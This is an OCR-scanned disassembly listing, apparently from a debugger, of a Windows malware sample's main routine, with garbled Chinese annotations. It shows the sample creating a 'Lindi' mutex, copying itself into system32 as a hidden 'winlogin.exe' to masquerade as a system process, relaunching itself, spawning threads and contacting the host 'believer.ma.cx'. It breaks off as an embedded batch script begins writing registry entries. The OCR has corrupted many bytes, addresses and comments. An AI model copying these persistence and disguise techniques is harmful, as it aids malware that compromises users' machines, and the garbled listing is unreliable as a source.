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AL (R B AR TR
0040DB23 / 55

0040DB24 |. 8BEC
0040DB26 |. 81EC 8C090000
0040DB2C |. 53

0040DB2D |. 33DB
0040DB2F |. 56

0040DB30 |. 57

0040DB31 |. 895D FC
0040DB34 |. 895D FO
0040DB37 |. (745 F4 89C64000
0040DB3E |. FF75F4
0040DB41 |. 64:FF35 00000000
0040DB48 | 64:8925 00000000
0040DB4F |. 391D COD44200
0040DB55 |. 7405
0040DB57 | ES8 B2C4FFFF
0040DB5C  [> 8B35 50104200
0040DB62 |. FFD6
0040DB64 |. 33D2
0040DB66 |. B9 E8030000
0040DB6B |. F7F1
0040DB6D |. A3 609B5100
0040DB72 |. FFD6
0040DB74 |. 50

0040DB75 | E8 1D930000
0040DB7A |. 59

0040DB7B |. ES8 E3AEFFFF
0040DB80 | G6A 02
0040DB82 |. FF15 045B4400
0040DB88 |. 68 30750000
0040DBSD |. 68 C4D44200
0040DB92 | 53

0040DB93 |. 53

0040DB94 |. FF15 54114200
0040DBY9A |. 50

0040DB9B |. FF15 50114200
0040DBA1 |. 3D 02010000
0040DBA6 | 7508
SERERE

0040DBAS |. 6A 01
0040DBAA |. FF15 34114200

push ebp
mov ebp,esp
sub esp,98C
push ebx
xor ebx,ebx
push esi
push edi
mov dword ptr ss:[ebp-4],ebx
mov dword ptr ss:[ebp-10],ebx
mov dword ptr ss:[ebp-C],3.0040C689
push dword ptr ss:[ebp-C]
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
cmp dword ptr ds:[42D4C0],ebx
je short 3.0040DB5C
call 3.0040A00E
mov esi,dword ptr ds:[<&KERNEL32.GetTickCount>]
call esi
xor edx,edx
mov ecx,3E8
div ecx
mov dword ptr ds:[519B60],eax
call esi
push eax
call 3.00416E97
pop ecx
call 3.00408A63
push 2
call dword ptr ds:[445B04]
push 7530
push 3.0042D4C4
push ebx
push ebx
call dword ptr ds:[<&KERNEL32.CreateMutexA>]
push eax
call dword ptr ds:[<&KERNEL32.WaitForSingleObject>]
cmp eax,102
jnz short 3.0040DBB0

push 1
call dword ptr ds:[<&KERNEL32.ExitProcess>]

; fl

|2 HEALFE a.bat

; kernel32.GetTickCount
; GetTickCount

; GetTickCount

b

BRI API B £

;  kernel32.SetErrorMode
; /Timeout = 30000. ms

>

; |/MutexName = "Lindi"

; |[InitialOwner

; |IpSecurity

; \CreateMutexA
;|87 lindi HFRAK
; 35 E30F0

R B A AAE, A7 AEN

; /ExitCode = 1
; \ExitProcess


mailto:178911980@163.com
http://www.54soft.com.cn/

0040DBB0 |> 8D85 78F7FFFF lea eax,dword ptr ss:[ebp-888]

0040DBB6 |. 50 push eax

0040DBB7 |. 6802020000 push 202

0040DBBC |. FF15 D0594400 call dword ptr ds:[4459D0] ; ws2_32.WSAStartup
0040DBC2 |. 3BC3 cmp eax,ebx

0040DBC4 |. 8945 F4 mov dword ptr ss:[ebp-C],eax

0040DBC7 |. OF85 1F060000 jnz 3.0040E1EC

0040DBCD |. 80BD 78F7FFFF 02  cmp byte ptr ss:[ebp-888],2

0040DBD4 |. O0OF85 0C060000 jnz 3.0040E1E6

0040DBDA |. 33C0 XOr eax,eax

0040DBDC |. 8AS85 79F7FFFF mov al,byte ptr ss:[ebp-887]

0040DBE2 |. 3CO02 cmp al,2

0040DBE4 |. OF85 FC050000 jnz 3.0040E1E6

0040DBEA |. BE 04010000 mov esi, 104

0040DBEF |. 8D85 OCFCFFFF lea eax,dword ptr ss:[ebp-3F4]

0040DBF5 |. 56 push esi ; /BufSize => 104 (260.)
0040DBF6 |. 50 push eax ; |Buffer

0040DBF7 |. FF15 60104200 call dword ptr ds:[<&KERNEL32.GetSystemDirectoryA>] ; \GetSystemDirectoryA
0040DBFD |. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2F0]

0040DCO3 |. 56 push esi ; /BufSize => 104 (260.)
0040DC04 |. 50 push eax ; [PathBuffer
0040DCO5 |. 53 push ebx ; /PModule
0040DCO6 |. FF15 E8104200 call dword ptr ds:[<&KERNEL32.GetModuleHandleA>] ; NGetModuleHandle A
0040DCOC |. 50 push eax ; [hModule
0040DCOD |. FF15 74104200 call dword ptr ds:[<&KERNEL32.GetModuleFileNameA>] ;\GetModuleFileNameA
0040DC13 |. 8D85 08F9FFFF lea eax,dword ptr ss:[ebp-6F8§]

0040DC19 |. 50 push eax

0040DC1A |. 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8§]

0040DC20 |. 50 push eax

0040DC21 |. 53 push ebx

0040DC22 |. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2F0]

0040DC28 |. 53 push ebx

0040DC29 |. 50 push eax

0040DC2A |. E8 19A80000 call 3.00418448

0040DC2F |. 8D8S5 08F9FFFF lea eax,dword ptr ss:[ebp-6F8§]

0040DC35 |. 50 push eax

0040DC36 |. 8D85 0SFAFFFF lea eax,dword ptr ss:[ebp-5F8]

0040DC3C |. 50 push eax

0040DC3D |. 68 046D4200 push 3.00426D04 ; ASCII "%s%s"
0040DC42 |. 8DS85 08FBFFFF lea eax,dword ptr ss:[ebp-4F8]

0040DC48 |. 56 push esi

0040DC49 |. 50 push eax

0040DC4A |. ES8 6B970000 call 3.004173BA ; R RGAT
0040DC4F |. 8D85 0CFCFFFF lea eax,dword ptr ss:[ebp-3F4]

0040DC55 |. 50 push eax

0040DC56 |. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2F0]

0040DC5C |. 50 push eax

0040DC5D |. E8 AE970000 call 3.00417410

0040DC62 |. 83C430 add esp,30

0040DC65 |. 85C0 test eax,eax

0040DC67 |. OF85B8010000 jnz 3.0040DE25

0040DC6D |. 391D D09C5100 cmp dword ptr ds:[519CDO0],ebx



0040DC73
0040DC78
0040DC7A
0040DC7B
0040DC7D
0040DC82
0040DCS85
0040DC86
0040DC88
0040DC8D
0040DCS8F
0040DC90
0040DC91
0040DC93
0040DC94
0040DC97
0040DC9D
0040DCOE
0040DCA3
0040DCA6
0040DCA7
0040DCA9
0040DCAB
0040DCBL1
0040DCB2
0040DCB3
0040DCB9
0040DCBE
0040DCBF
0040DCC4
0040DCC7
0040DCCD
0040DCCE
0040DCD4
0040DCD7
0040DCD9
0040DCDF
NORMAL
0040DCE4
0040DCES5
0040DCEB
0040DCF1

BE 08D54200
74 31

56

33FF

E8 BE990000
83E8 04

59

74 23

E8 14920000
6A 1A

99

59

F7F9

56

80C2 61

8897 08D54200
47

E& 9D990000
83E8 04

59

3BF8

A 72DD

> 8D85 OCFCFFFF

56

50

8D85 14FEFFFF
68 AC914200

50

E8 81910000
83C4 10

8D85 14FEFFFF
50

FF15 8C104200
83F8 FF

74 12

8D85 14FEFFFF
68 80000000

50
FF15 10114200

> 8B354C114200

8D85 14FEFFFF

mov esi,3.0042D508
je short 3.0040DCAB
push esi
xor edi,edi
call 3.00417640
sub eax,4
pop ecx
je short 3.0040DCAB
/call 3.00416EA1
|[push 1A
lcdq
[pop ecx
[idiv ecx
[push esi
ladd d1,61
|mov byte ptr ds:[edi+42D508],dl
linc edi
|call 3.00417640
|sub eax,4
[pop ecx
|cmp edi,eax
\jb short 3.0040DC88
lea eax,dword ptr ss:[ebp-3F4]
push esi
push eax
lea eax,dword ptr ss:[ebp-1EC]
push 3.004291AC
push eax
call 3.00416E45
add esp,10
lea eax,dword ptr ss:[ebp-1EC]
push eax
call dword ptr ds:[<&KERNEL32.GetFileAttributesA>]
cmp eax,-1
je short 3.0040DCEB
lea eax,dword ptr ss:[ebp-1EC]
push 80

push eax
call dword ptr ds:[<&KERNEL32.SetFileAttributesA>]
mov esi,dword ptr ds:[<&KERNEL32.CopyFileA>]
lea eax,dword ptr ss:[ebp-1EC]

C:\WINDOWS\system32\winlogin.exe H % T

0040DCF7
0040DCF8
0040DCF9
0040DCFF
0040DDO01
0040DD02
0040DD04
0040DD06
0040DD08

|>

53

50

8D85 10FDFFFF
33FF

50

FFD6

85C0

75 33

FF15 80104200

push ebx
push eax
lea eax,dword ptr ss:[ebp-2F0]
xor edi,edi
push eax
/call esi
test eax,eax
|jnz short 3.0040DD3B
|call dword ptr ds:[<&KERNEL32.GetLastError>]

b

ASCII "winlogin.exe"

; ASCII "%s\%s"

; /[FileName
; \GetFileAttributesA

; /FileAttributes =

; [FileName
; \SetFileAttributesA
kernel32.CopyFileA

b

>

9 B A 2

; GetLastError



0040DDOE |. 3BFB
0040DD10 |. 7529
0040DD12 |. 83F820
0040DD15 |. 7405
0040DD17 |. 83F8 05
0040DDIA | 75 1F
0040DDIC [> 6A 01
0040DDIE |. 5F

0040DDIF | 68 983A0000
0040DD24 |. FF15 5C104200
0040DD2A |. 8D85 14FEFFFF
0040DD30 |. 53

0040DD31 |. 50

0040DD32 |. 8D85 10FDFFFF
0040DD38 |. 50

0040DD39 |.A EB C7
0040DD3B  [> 8D85 14FEFFFF
0040DD41 |. 50

0040DD42 |. E8 79COFFFF

FHAE winlogin.exe I 8] 55 2 A A
0040DD47 | 59

0040DD48 |. 8D85 14FEFFFF
0040DD4E | 6A 07
READONLYHIDDEN|SYSTEM
0040DD50 |. 50

0040DD51 |. FF15 10114200
0040DD57 |. 6A 10

PR, wCE O U BaGR, R 4 e 1
0040DD59 |. 8D45DC
0040DD5C | 53
0040DD5D |. 50

0040DDSE | E85D910000
0040DD63 | 6A 44
0040DD65 |. 8D85 18FFFFFF

0040DD6B | SE
0040DD6C | 56
0040DD6D |. 53
0040DD6E |. 50

0040DD6F |. E8 4C910000
0040DD74 |. 83C4 18
0040DD77 |. 89B5 18FFFFFF
0040DD7D  |.

0040DD87 |. 66:899D 48FFFFFF
0040DDSE |. 6A01

0040DD90 |. SE

0040DD91 |. 89B5 44FFFFFF
0040DD97 |. FF15 48114200

0040DD9D |. 50
0040DD9E |. 56

0040DDY9F |. 68 00001000
SYNCHRONIZE
0040DDA4 |. FF15 E4104200

|cmp edi,ebx
|jnz short 3.0040DD3B
|cmp eax,20
lje short 3.0040DD1C
|cmp eax,5
|jnz short 3.0040DD3B
|push 1
[pop edi
|[push 3A98
|call dword ptr ds:[<&KERNEL32.Sleep>]
[lea eax,dword ptr ss:[ebp-1EC]
|[push ebx
|[push eax
[lea eax,dword ptr ss:[ebp-2F0]
|[push eax
\jmp short 3.0040DD02
lea eax,dword ptr ss:[ebp-1EC]
push eax
call 3.00409DCO

pop ecx
lea eax,dword ptr ss:[ebp-1EC]
push 7

push eax
call dword ptr ds:[<&KERNEL32.SetFileAttributesA>]
push 10

lea eax,dword ptr ss:[ebp-24]
push ebx

push eax

call 3.00416ECO
push 44

lea eax,dword ptr ss:[ebp-E§]
pop esi

push esi

push ebx

push eax

call 3.00416ECO
add esp,18

mov dword ptr ss:[ebp-E8],esi

C785 24FFFFFF E80C>mov dword ptr ss:[ebp-DC],3.00440CES

mov word ptr ss:[ebp-B8],bx

push 1

pop esi

mov dword ptr ss:[ebp-BC],esi
call dword ptr ds:[<&KERNEL32.GetCurrentProcessld>]
push eax

push esi

push 100000

call dword ptr ds:[<&KERNEL32.0penProcess>]

; /Timeout = 15000. ms

; \Sleep
SSERFISED

; I explorer.exe [11H [A],

; /FileAttributes =

; [FileName

; \SetFileAttributesA

; 1B winlogin.exe J&

; [GetCurrentProcessld

; /Processld

; [Inheritable => TRUE

; \OpenProcess

; |Access =



0040DDAA |. 8DS8D 10FDFFFF lea ecx,dword ptr ss:[ebp-2F0]
0040DDBO |. 51 push ecx

0040DDB1 |. 50 push eax

0040DDB2 |. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1EC]
0040DDB8 |. 50 push eax

0040DDB9 |. 8D85 74F6FFFF lea eax,dword ptr ss:[ebp-98C]
0040DDBF |. 68 44324300 push 3.00433244

0040DDC4 |. 50 push eax

0040DDCS5 |. E8 7B900000 call 3.00416E45

0040DDCA | 83C4 14 add esp,14

0040DDCD |. 8D45 DC lea eax,dword ptr ss:[ebp-24]
0040DDDO |. 50 push eax

0040DDD1 |. 8D85 18FFFFFF lea eax,dword ptr ss:[ebp-ES8]
0040DDD7 |. 50 push eax

0040DDD8 |. 8D85 OCFCFFFF lea eax,dword ptr ss:[ebp-3F4]
0040DDDE |. 50 push eax

0040DDDF |. 53 push ebx

0040DDEO |. 6A 28 push 28

DETACHED PROCESSNORMAL PRIORITY CLASS

0040DDE2 |. 56 push esi

TRUE

0040DDE3 |. 53 push ebx

0040DDE4 |. 8D85 74F6FFFF lea eax,dword ptr ss:[ebp-98C]
0040DDEA |. 53 push ebx

0040DDEB |. 50 push eax

0040DDEC |. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1EC]
0040DDF2 |. 50 push eax

0040DDF3 |. FF15 08114200 call dword ptr ds:[<&KERNEL32.CreateProcessA>]
0040DDF9 |. 85CO0 test eax,eax

BEFE

0040DDFB | 7428 je short 3.0040DE25

0040DDFD |. 68 C8000000 push 0C8

0040DEO2 |. FF155C104200 call dword ptr ds:[<&KERNEL32.Sleep>]
0040DEO8 |. FF75DC push dword ptr ss:[ebp-24]
0040DEOB |. 8B35 6C104200 mov esi,dword ptr ds:[<&KERNEL32.CloseHandle>]
0040DE11 |. FFD6 call esi

0040DE13 |. FF75EO0 push dword ptr ss:[ebp-20]
0040DE16 |. FFD6 call esi

0040DE18 |. FF15 B8594400 call dword ptr ds:[4459B8]
0040DEIE |. 53 push ebx

0040DE1F |. FF1534114200 call dword ptr ds:[<&KERNEL32.ExitProcess>]
0040DE25 > 833D 489F510002  cmp dword ptr ds:[519F48],2
0040DE2C |. 7E43 jle short 3.0040DE71

0040DE2E |. A1 4C9F5100 mov eax,dword ptr ds:[519F4C]
0040DE33 |. FF70 04 push dword ptr ds:[eax+4]
0040DE36 |. ES8 74950000 call 3.004173AF

0040DE3B |. 59 pop ecx

0040DE3C |. 8BFO0 mov esi,eax

0040DE3E | 6AFF push -1

0040DE40 |. 56 push esi

0040DE41 |. FF1550114200 call dword ptr ds:[<&KERNEL32.WaitForSingleObject>]
0040DE47 |. 56 push esi

; FTJTEERE

;o HAELAS
; ASCII "%s %d "%s""
;AL

; /pProcessInfo
; [pStartupInfo

; |CurrentDir
; [pEnvironment
; |CreationFlags =

; [InheritHandles =>
; [pThreadSecurity

; [pProcessSecurity
; |CommandLine
5 |
; ModuleFileName
; \CreateProcessA
; flg winlogin.exe S

; /Timeout = 200. ms
; \Sleep
; /hObject
; |kernel32.CloseHandle
; \CloseHandle
; /hObject
; \CloseHandle
; ws2_32.WSACleanup
; /ExitCode
s B S AT ERR

; /Timeout = INFINITE
; |hObject
; \WaitForSingleObject
; /hObject



0040DE48

FF15 6C104200

0040DE4E |. Al 4C9F5100
0040DE53 |. 3958 08
0040DE56 |. 7419
0040DE58 |. 68 D0070000
0040DESD |. FF15 5C104200
0040DE63 |. Al 4C9F5100
0040DE68 |. FF70 08
0040DE6B |. FF15 44114200
0040DE71 [> 391D 2CD44200
0040DE77 |. 7415
0040DE79 |. 391D 285B4400
0040DE7F |. 750D
0040DE81 |. 8D85 0SFBFFFF
0040DE87 |. 50

0040DE88 |. E8 F8DSFFFF
AL A 3

0040DESD |. 59

0040DESE [> 8D85 SCFFFFFF
0040DE94 |. 68 1C324300
0040DE99 |. 50

0040DE9A |. E8 A68F0000
0040DE9F |. 53

0040DEAO |. 8D85 SCFFFFFF
0040DEA6 |. 53

0040DEA7 |. 50

0040DEA8 |. ES8 448A0000
0040DEAD |. 8D85 SCFFFFFF
0040DEB3 |. 50

0040DEB4 |. E8 BDD3FFFF
0040DEB9 |. 68 800B0000
0040DEBE | 53

0040DEBF |. 68 30A74400
0040DEC4 |. E8 F78F0000
0040DEC9 |. 8D85 SCFFFFFF
0040DECF |. 68 E0314300
0040DED4 |. 50

0040DED5 |. ES8 6BSF0000
0040DEDA |. 53

0040DEDB |. 8D85 SCFFFFFF
0040DEEl |. 6A01
0040DEE3 |. 50

0040DEE4 |. ES8 088A0000
0040DEE9 |. 83C4 38
0040DEEC |. 8BF8
0040DEEE |. 8B35 84104200
0040DEF4 |. 8D45FC
0040DEF7 |. 50

0040DEF8 |. 53

0040DEF9 |. 53

0040DEFA |. 68 26494100

3.00414926

call dword ptr ds:[<&KERNEL32.CloseHandle>]
mov eax,dword ptr ds:[519F4C]
cmp dword ptr ds:[eax+8],ebx
je short 3.0040DE71
push 7D0
call dword ptr ds:[<&KERNEL32.Sleep>]
mov eax,dword ptr ds:[519F4C]
push dword ptr ds:[eax+8]
call dword ptr ds:[<&KERNEL32.DeleteFileA>]
cmp dword ptr ds:[42D42C],ebx
je short 3.0040DESE
cmp dword ptr ds:[445B28],ebx
jnz short 3.0040DESE
lea eax,dword ptr ss:[ebp-4F8§]
push eax
call 3.0040B485

pop ecx
lea eax,dword ptr ss:[ebp-A4]
push 3.0043321C
push eax
call 3.00416E45
push ebx
lea eax,dword ptr ss:[ebp-A4]
push ebx
push eax
call 3.004168F1
lea eax,dword ptr ss:[ebp-A4]
push eax
call 3.0040B276
push 0B80
push ebx
push 3.0044A730
call 3.00416ECO
lea eax,dword ptr ss:[ebp-A4]
push 3.004331E0
push eax
call 3.00416E45
push ebx
lea eax,dword ptr ss:[ebp-A4]
push 1
push eax
call 3.004168F1
add esp,38

mov edi,eax

mov esi,dword ptr ds:[<&KERNEL32.CreateThread>]

lea eax,dword ptr ss:[ebp-4]
push eax
push ebx
push ebx
push 3.00414926

; \CloseHandle

; /Timeout = 2000. ms
; \Sleep

; /FileName
; \DeleteFileA

SRR AN MR I, DASKE

s BCHET RS ]

; kernel32.CreateThread

; /[pThreadld
; |CreationFlags
; [pThreadParm
; [ThreadFunction =



0040DEFF |. 53

0040DF00 |. 53

0040DF01 |. FFD6
HHEPRRHERE, ARG R
0040DF03 |. 69FF 34020000
0040DF09 |. 3BC3
0040DFOB |. 8987 C4B44400
0040DF11 |. 751B
0040DF13 |. FF15 80104200
0040DF19 |. 50

0040DF1A |. 8D85 SCFFFFFF
0040DF20 | 68 8C314300
0040DF25 |. 50

0040DF26 |. E8 1A8F0000
0040DF2B |. 83C40C
0040DF2E |> 8D85 SCFFFFFF
0040DF34 |. 50

0040DF35 |. E8 3CD3FFFF
0040DF3A |. 8D85 SCFFFFFF
0040DF40 |. (70424 48314300
0040DF47 |. 50

0040DF48 |. ES8 F8SE0000
0040DF4D | 53

0040DF4E |. 8D85 SCFFFFFF
0040DF54 |. 6AO01
0040DF56 |. 50

0040DF57 |. E8 95890000
0040DF5C |. 83C4 14
0040DFSF |. 8BF8

0040DF61 |. 8D45 FC
0040DF64 |. 50
0040DF65 | 53
0040DF66 | 53
0040DF67 | 68 35664100

0040DF6C |. 53

0040DF6D | 53

0040DF6E |. FFD6

WS, BARWT

0040DF70 |. G69FF 34020000
0040DF76 | 3BC3
0040DF78 |. 8987 C4B44400
0040DF7E |. 75 1B
0040DF80 |. FF15 80104200
0040DF86 |. 50

0040DF87 |. 8D85 SCFFFFFF
0040DFSD |. 68 FC304300
0040DF92 |. 50

0040DF93 |. E8 ADSE0000
0040DF98 |. 83C4 0C
0040DF9B [> 8D85 SCFFFFFF
0040DFA1 |. 50

0040DFA2 |. E8 CFD2FFFF

push ebx
push ebx
call esi

imul edi,edi,234
cmp eax,ebx
mov dword ptr ds:[edi+44B4C4],eax
jnz short 3.0040DF2E
call dword ptr ds:[<&KERNEL32.GetLastError>]
push eax
lea eax,dword ptr ss:[ebp-A4]
push 3.0043318C
push eax
call 3.00416E45
add esp,0C
lea eax,dword ptr ss:[ebp-A4]
push eax
call 3.0040B276
lea eax,dword ptr ss:[ebp-A4]
mov dword ptr ss:[esp],3.00433148
push eax
call 3.00416E45
push ebx
lea eax,dword ptr ss:[ebp-A4]
push 1
push eax
call 3.004168F1
add esp,14
mov edi,eax
lea eax,dword ptr ss:[ebp-4]
push eax
push ebx
push ebx
push 3.00416635
push ebx
push ebx
call esi

imul edi,edi,234
cmp eax,ebx
mov dword ptr ds:[edi+44B4C4],eax
jnz short 3.0040DF9B
call dword ptr ds:[<&KERNEL32.GetLastError>]
push eax
lea eax,dword ptr ss:[ebp-A4]
push 3.004330FC
push eax
call 3.00416E45
add esp,0C
lea eax,dword ptr ss:[ebp-A4]
push eax
call 3.0040B276

; |StackSize
; [pSecurity
\BId R, flifE30f0 A

; GetLastError

R E RN

SO RE, (Sl —L80)

;GetLastError



0040DFA7
0040DFAD
0040DFB4
0040DFB5
0040DFBA
0040DFBB
0040DFCl1
0040DFC3
0040DFC4
0040DFC9
0040DFCC
0040DFCE
0040DFD1
0040DFD2
0040DFD8
0040DFD9
0040DFDA
0040DFDF
0040DFEO
0040DFE1

0040DFE3
0040DFE9
0040DFEB
0040DFF1
0040DFF3
0040DFF9
0040DFFA
0040E000
0040E005
0040E006
0040E00B
0040E00E
0040E014
0040E015
0040E01A
0040E01C
0040E021
0040E022
0040E024
0040E025
0040E027
0040E02D
0040E032
0040E033
0040E038
0040E039
0040E03F
0040E041
0040E042
0040E047
0040E04A

8D85 SCFFFFFF lea eax,dword ptr ss:[ebp-A4]

C70424 BC304300 mov dword ptr ss:[esp],3.004330BC
50 push eax

E8 8BSE0000 call 3.00416E45

53 push ebx

8D85 SCFFFFFF lea eax,dword ptr ss:[ebp-A4]

6A 01 push 1

50 push eax

E8 28890000 call 3.004168F1

83C4 14 add esp,14

8BF8 mov edi,eax

8D45 FC lea eax,dword ptr ss:[ebp-4]

50 push eax

8D85 08FBFFFF lea eax,dword ptr ss:[ebp-4F8§]

53 push ebx

50 push eax

68 F5B44000 push 3.0040B4F5

53 push ebx

53 push ebx

FFD6 call esi

69FF 34020000 imul edi,edi,234

3BC3 cmp eax,ebx

8987 C4B44400 mov dword ptr ds:[edi+44B4C4],eax
75 1B jnz short 3.0040E00E
FF15 80104200 call dword ptr ds:[<&KERNEL32.GetLastError>]
50 push eax

8D85 SCFFFFFF
68 70304300

lea eax,dword ptr ss:[ebp-A4]
push 3.00433070

50 push eax
E8 3A8E0000 call 3.00416E45
83C4 0C add esp,0C
8D85 SCFFFFFF lea eax,dword ptr ss:[ebp-A4]
50 push eax
E8 5CD2FFFF call 3.0040B276
6A 02 push 2
E8 188B0000 call 3.00416B39
59 pop ecx
85C0 test eax,eax
59 pop ecx
75 6C jnz short 3.0040E093
8D85 SCFFFFFF lea eax,dword ptr ss:[ebp-A4]
68 2C304300 push 3.0043302C
50 push eax
E8 ODSE0000 call 3.00416E45
53 push ebx
8D85 SCFFFFFF lea eax,dword ptr ss:[ebp-A4]
6A 02 push 2
50 push eax
E8 AA880000 call 3.004168F1
83C4 14 add esp,14
8BF8 mov edi,eax

SIS B R Bl 2 fs

;GetLastError



0040E04C |. 8D45FC
0040E04F |. 50

0040E050 |. 53
0040E051 |. 57
0040E052 |. 68 17C94000
0040E057 |. 53
0040E058 |. 53

0040E059 |. FFD6

ST RENR G5 5% RAL K iy & ) e

0040E05B |. 69FF 34020000
0040E061 |. 3BC3
0040E063 |. 8987 C4B44400
0040E069 |. 75 1B
0040E06B |. FF15 80104200
0040E071 |. 50

0040E072 |. 8D85 SCFFFFFF
0040E078 |. 68 ES2F4300
0040E07D |. 50

0040E07E |. E8 C28D0000
0040E083 |. 83C4 0C
0040E086 [> 8D85 SCFFFFFF
0040E08C |. 50

0040E08D |. ES8 E4DIFFFF
0040E092 |. 59

0040E093 [> ES8 098E0000
0040E098 |. 6A 7F

0040E09A |. 68 FOD44200
"believer.ma.cx"
0040E09F |. 68 6C9B5100

"believer.ma.cx"

0040E0A4 |. 891D EC9C5100
0040E0AA |. E8 F19C0000
0040EO0AF |. Al 10D44200
0040EOB4 |. 6A3F
0040E0B6 |. BF EC9B5100
0040EOBB |. 68 00D54200
0040E0CO |. 57

0040E0C1 |. A3 BC9C5100
0040E0C6 |. E8 D59C0000
0040EOCB |. 6A3F
0040EOCD |. BE2C9C5100
0040EOD2 |. 68 D89C5100
0040EOD7 |. 56

0040EOD8 |. E8 C39C0000
0040EODD |. 83C424
0040EOE0 |. 891D C09C5100
0040EOE6 |> 895D F8
0040EOE9 > 391D 405B4400
0040EOEF |. 7516

0040EOF1 |. 8D45EC
0040EOF4 |. 53

0040EOF5 |. 50

lea eax,dword ptr ss:[ebp-4]
push eax
push ebx
push edi
push 3.0040C917
push ebx
push ebx
call esi

imul edi,edi,234
cmp eax,ebx

mov dword ptr ds:[edi+44B4C4],eax

jnz short 3.0040E086

call dword ptr ds:[<&KERNEL32.GetLastError>]

push eax
lea eax,dword ptr ss:[ebp-A4]
push 3.00432FES8
push eax
call 3.00416E45
add esp,0C
lea eax,dword ptr ss:[ebp-A4]
push eax
call 3.0040B276
pop ecx
call 3.00416EA1
push 7F
push 3.0042D4F0

push 3.00519B6C

mov dword ptr ds:[519CEC],ebx
call 3.00417DAO0
mov eax,dword ptr ds:[42D410]
push 3F
mov edi,3.00519BEC
push 3.0042D500
push edi
mov dword ptr ds:[519CBC],eax
call 3.00417DA0
push 3F
mov esi,3.00519C2C
push 3.00519CD8
push esi
call 3.00417DA0
add esp,24
mov dword ptr ds:[519CCO0],ebx
/mov dword ptr ss:[ebp-8],ebx
|/cmp dword ptr ds:[445B40],ebx
|jnz short 3.0040E107
|[lea eax,dword ptr ss:[ebp-14]
|lpush ebx
|lpush eax

; BRI YT 1133 1, Jf 4

; GetLastError
;. ASCII
;  ASCII
; ASCII "#591"
; ASCII "#591"



0040E0F6
ds:[44599C]
0040E0FC
0040EOFE
0040E100
0040E105
0040E107
0040E10C
0040E112
454
0040E117
0040E11A
0040E11D
0040E123
0040E129
0040E12B
0040E12E
0040E133
0040E139
0040E13C
0040E140
0040E142
0040E 146
0040E14C
0040E 14F
0040E151
0040E153
0040E158
0040E15D
0040E162
0040E167
0040E169
0040E16E
0040E16F
0040E174
0040E179
0040E17B
0040E180
0040E181
0040E186
0040E189
0040E18C
0040E191
0040E197
0040E19D
0040E19F
0040E1A4
0040E1A9
0040E1AE
0040E1B3
0040E1B5
0040E1BA

. 85C0
. 7507
. 6830750000
. EB2C
> 68 689B5100

|. 891D E89C5100

|.  E8 DE000000

. 83F802

| 8945 F4

|.  OF84 BE000000
|. 391D E89C5100

. 7403
. FF4D F8
> 68 B8OB000O

> FF15 5C104200

. FF45F8

. 837D F8 06
A TC A7

. 837D F402

. OF84 95000000
. 395D FO

| 7440

. 6A7F

. 68 FOD44200
. 68 6C9B5100
. E8 3E9C0000
. Al 10D44200
. 6A3F

. 68 00D54200
| 57

. A3 BC9C5100
. E8279C0000
. 6A3F

. 68 D89C5100
56

E8 1A9C0000
83C4 24

895D FO

|
.
.
.
. E9 55FFFFFF

> 381D DC9C5100

|.A OF84 49FFFFFF
. 6ATF

. 68 DCYC5100

| 68 6C9B5100

. E8 F29B0000

. Al 14D44200
. 6A3F

. 68 E09C5100

| 57

FF15 9C594400
;wininet.InternetGetConnectedState

|test eax,eax

|jnz short 3.0040E107

|lpush 7530

|jmp short 3.0040E133
[lpush 3.00519B68
|[mov dword ptr ds:[S19CE8],ebx
|lcall 3.0040E1F5

|lcmp eax,2
|lmov dword ptr ss:[ebp-C],eax
lje 3.0040E1E1
|lcmp dword ptr ds:[519CE8],ebx
je short 3.0040E12E
||dec dword ptr ss:[ebp-8]
|[push 0BBS
|lcall dword ptr ds:[<&KERNEL32.Sleep>]
|linc dword ptr ss:[ebp-8]
|lcmp dword ptr ss:[ebp-8],6
[\j1 short 3.0040EOE9
|cmp dword ptr ss:[ebp-C],2
lje 3.0040E1E1
|cmp dword ptr ss:[ebp-10],ebx
[je short 3.0040E191
|[push 7F
[push 3.0042D4F0
[push 3.00519B6C
|call 3.00417DA0
|mov eax,dword ptr ds:[42D410]
|[push 3F
[push 3.0042D500
[push edi
|mov dword ptr ds:[S19CBC],eax
|call 3.00417DA0
|[push 3F
[push 3.00519CD8
[push esi
|call 3.00417DA0
ladd esp,24
|mov dword ptr ss:[ebp-10],ebx
[jmp 3.0040EOE6
|cmp byte ptr ds:[519CDC],bl
lie 3.0040EQ0E6
|[push 7F
[push 3.00519CDC
[push 3.00519B6C
|call 3.00417DA0
|mov eax,dword ptr ds:[42D414]
|[push 3F
[push 3.00519CEOQ
|[push edi

||Icall dword ptr

; ¥E$% believer.ma.cx iz Fit

; /Timeout = 3000. ms
; \Sleep

; ASCII "believer.ma.cx"
; ASCII "believer.ma.cx"

;  ASCII "#591"

; ASCII "believer.ma.cx"



0040E1BB |. A3 BC9C5100 |mov dword ptr ds:[S19CBC],eax

0040E1CO |. E8 DB9B0000 |call 3.00417DA0

0040EIC5 |. 6A3F [push 3F

0040E1C7 |. 68 E49C5100 [push 3.00519CE4

0040E1CC |. 56 |[push esi

0040EICD |. ES8 CE9B0000 |call 3.00417DA0

0040E1D2 |. 83C424 ladd esp,24

0040E1D5 |. C745F001000000 |mov dword ptr ss:[ebp-10],1

0040E1DC |.~ E9 O5FFFFFF \jmp 3.0040E0E6

0040E1E1 |> E8 D4880000 call 3.00416ABA

0040E1E6 [> FF15 B8594400 call dword ptr ds:[4459B8] ; ws2_32.WSACleanup
0040E1EC > 5F pop edi

0040E1ED |. S5SE pop esi

0040E1EE |. 33CO0 XOr eax,eax

0040E1F0 |. 5B pop ebx

0040E1F1 |. C9 leave

0040E1F2 \. C2 1000 retn 10

HARH &7 N2

—. Gt

0040A00E / 55 push ebp ;O abat
0040A00F |. 8BEC mov ebp,esp

0040A011 |. B8 60180000 mov eax, 1860

0040A016 |. E8 A5D60000 call 3.004176CO0

0040A01B |. 56 push esi

0040A01C |. 57 push edi

0040A01D |. B9 C1050000 mov ecx,5C1

0040A022 |. BE 40A04200 mov esi,3.0042A040 ;  ASCII "@echo off

Echo REGEDIT4>%temp%\1.reg
Echo.>>%temp%\1.reg

Echo

